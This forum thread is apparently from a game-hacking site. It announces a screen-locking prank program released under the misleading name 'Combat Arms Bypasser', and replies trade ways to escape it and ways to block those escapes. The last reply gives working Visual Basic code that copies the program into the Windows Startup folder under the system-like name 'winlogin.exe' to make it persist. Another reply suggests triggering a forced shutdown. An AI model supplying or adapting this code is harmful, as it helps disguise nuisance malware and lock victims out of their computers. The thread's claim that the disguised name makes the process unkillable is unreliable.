[Release] Combat Arms Bypasser!! Or...Not..

[CoderNever]

Details : This program takes over your full screen , and is on exit-able so far on Vista 64bit , and Basic Windows XP. The only way of closing is by typing in password ("MP123") or Restarting your computer , and if you want I can make it reload it self on startup! this program is extremly anoying and fun to fool your friends with.

note : it also flashes random colors! *Cough Pixie*

Picture :

Virus Scan : Combat Arms Bypass.zip MD5:92e923e7369a4422d5a190dbae42f5f4 - VirSCAN.org Scanners did not find malware!

[Pixie]

I would try this, but I'm too suspicious you are lying about the password...

[CoderNever]

OMG so now I am a lier?

[Lolland]

Yeah, I'm kinda suspicious, did you block Alt+tab? Oh yeah you did.

No, the password is safe. Good job.

BRB SEIZURE.

[CoderNever]

it basically blocks everything because its impossible to minimize
even by alttabing or pressing window thing

[Pixie]

it basically blocks everything because its impossible to minimize
even by alttabing or pressing window thing

Ctrl+Alt+Dlt
Logging off of their cpu acc and log back into it

There is more, I just forgot them

[CoderNever]

Alt Delete is blocked , and I can just make it re-open it self on startup or relog.

[Houston]

You can close it only with Alt-F4

Thanks,

Don Diablo

[Stephen]

LOL, You forgot to block Alt - F4.

[theavengerisback15]

Ahaha..Good Job.Keep releasing here!

[Pixipixel_]

Yep Alt + F4 works. ^^

[XGelite]

what about start + L, the switch user shortcut. you need to block that. because i can just switch over to another user and end the process. :P

[Zoom]

what about start + L, the switch user shortcut. you need to block that. because i can just switch over to another user and end the process. :P

That would be realllllllllllly hard to block.

Maybe something when start + L then

shell("shutdown -s")


=)

[Thats the way it is]

hint: ctrl + shift + esc

I used to have a visual basic script that closes the procces last started i used to have that bindend to button on my keybord (somthing like ctrl + f12)

[Bombsaway707]

ehh to put it into the startup folder is easy:

If System.IO.File.Exists("C:\users\" & System.Environment.UserName & _ "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then
 FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\users\" & System.Environment.UserName & _ "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") 
End If

That copys ur program into the startup folder as winlogon.exe which makes it a non-killable process